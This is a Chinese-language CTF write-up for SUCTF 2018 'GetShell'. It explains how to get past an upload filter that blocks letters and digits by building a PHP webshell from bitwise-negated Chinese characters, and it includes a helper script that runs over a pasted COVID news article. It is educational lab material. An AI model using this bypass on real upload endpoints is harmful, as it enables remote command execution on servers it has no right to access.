[SUCTF 2018]GetShell
在upload页面有一串代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } }
很明显,这里有文件包含
但是这里又会对文件第6位之后的内容进行检测
先来fuzz一下
第一次因为buu 请求太快报错了。。
修改了爆破速度
发现了不能有a-zA-Z0-9?<>^@#!%&*空格
这里有点不会了。。
去查了一下
可以利用中文来getshell(参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)
<?php header('Content-Type: text/html; charset=utf-8'); $str = ' ●快字当头,加紧推进重点地区应检尽检、应收尽收、应隔尽隔、应治尽治 ●要采取一系列手段保障封控区、管控区心血管疾病、癌症等特殊患者就医需求 本报北京4月6日电 (记者申少铁)国务院联防联控机制6日召开新闻发布会,介绍从严从实抓好疫情防控工作有关情况。国家卫健委新闻发言人、宣传司副司长米锋说,当前,全国新增本土确诊病例和无症状感染者快速增长,部分地区社区传播仍未阻断,疫情仍在高位运行,防控形势严峻复杂。要继续坚持“动态清零”总方针不犹豫不动摇,快字当头,加紧推进重点地区应检尽检、应收尽收、应隔尽隔、应治尽治。 3月1日至4月5日,全国累计报告本土感染者176455例,波及29个省份。国家卫健委疾控局副局长、一级巡视员雷正龙说,全国疫情总体呈现流行范围广,规模性疫情与散发疫情交织,外溢病例及续发疫情多发等特点。3月中旬以来,随着各地疫情防控措施的有效落实,此前疫情较为严重的5个省市中,广东、山东、河北等均呈现向好态势,但上海和吉林疫情仍处于发展状态。 “上海疫情防控正处于关键时期。国家将根据需要继续往上海调派支援力量。”米锋介绍,按照党中央、国务院决策部署,国家卫生健康委已从全国15个省份调派医务人员3.8万余人和每日238万管核酸检测的能力支持上海,开展核酸检测和新冠肺炎患者救治工作,帮助提升医疗救治与核酸检测能力。 “多地疫情得到有效控制证明,从严从紧采取隔离、管控、封控、筛查等为核心的措施应对奥密克戎变异株引发的聚集性疫情依然有效,可以实现‘动态清零’的既定方针。”雷正龙说,下一步,国务院联防联控机制综合组将继续指导各地提升应对规模性疫情的能力。在发生疫情后,抓住主要矛盾,聚焦重点地区,从紧从严、从早从快、从细从实落实各项防控措施,坚决筑牢疫情防控屏障。 目前,我国新冠病毒感染者大多为无症状和轻症。北京大学第一医院感染疾病科主任王贵强分析,无症状感染者包括潜伏期感染者,可能出现症状甚至病情进展。轻型病例个别可能出现疾病进展,尤其是年龄大、有基础病以及未接种或未全程接种疫苗人群。因此,在管理无症状感染者和轻型病例时一定要有医务人员在场,在方舱医院里要安排医务人员和必要的诊疗设备,包括抢救设备、基本用药等。 当前,一些地方对中高风险的社区采取管控措施,如何保障心血管疾病、癌症等特殊患者的就医需求?王贵强说,疫情防控和基本的医疗救治都非常重要,封控区、管控区的群众看病问题应该引起高度重视,特别是重危患者,要采取一系列手段保证这些病患能够得到及时、有效的治疗。国务院联防联控机制要求,医疗机构在急诊、抢救室、手术室、医院病房以及妇产科要有相应的应急区域或者缓冲病区,以便救治核酸检测未出结果前的重危患者。各地要统计孕产妇、透析人群、放化疗人群的基本底数,把本底摸清楚,建立台账,并有效跟踪随访,以便及时救治。对需长期用药的慢性病患者,要安排就近的医疗机构给予相应药物处方,建议结合病情将处方延长到12周,并提供上门送药服务。对于封控区、管控区的群众用药问题,要有健康咨询、心理咨询,包括慢性病的咨询问诊工作,充分发挥互联网诊疗优势,解决百姓足不出户的日常看病需求。 春暖花开,我国疫情防控形势是否会好转?中国疾控中心流行病学首席专家吴尊友分析,这取决于我国防控策略以及防控措施落实力度。受全球第四波疫情影响,我国“外防输入”压力特别大,一定要坚持落实疫情防控“四早”政策,压实四方责任,把防控措施落到实处。“坚持‘外防输入、内防反弹”总策略和‘动态清零’总方针,从严从实把防控措施落实到每一个环节,近期呈现的疫情多点散发的形势很快会得到好转。”吴尊友表示。 截至4月5日,全国累计报告接种新冠疫苗32亿8358.6万剂次,接种总人数达12亿7872.4万人,已完成全程接种12亿4322.6万人,全程接种人数占全国总人口的88.18%。完成加强免疫接种7亿569.3万人。60岁以上老年人接种覆盖人数达2亿2418.2万人。”'; for($i=0; $i<mb_strlen($str, 'utf-8'); $i++) { $st = mb_substr($str, $i,1, 'utf-8'); $a = ~($st); $b = $a[1]; #取汉字的第一位 if($b==$_GET['a']) #$_GET['a']想要得到的字符 { echo $st;exit; } } ?>
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母
使用方法
同理来编造system和post
文件上传上去就可以命令执行了
不知道为什么cat出来的是一个假的flag,找了一圈也没找到真的。。
查了一下,应该时buu上的环境有问题
说是直接读取环境变量可以出来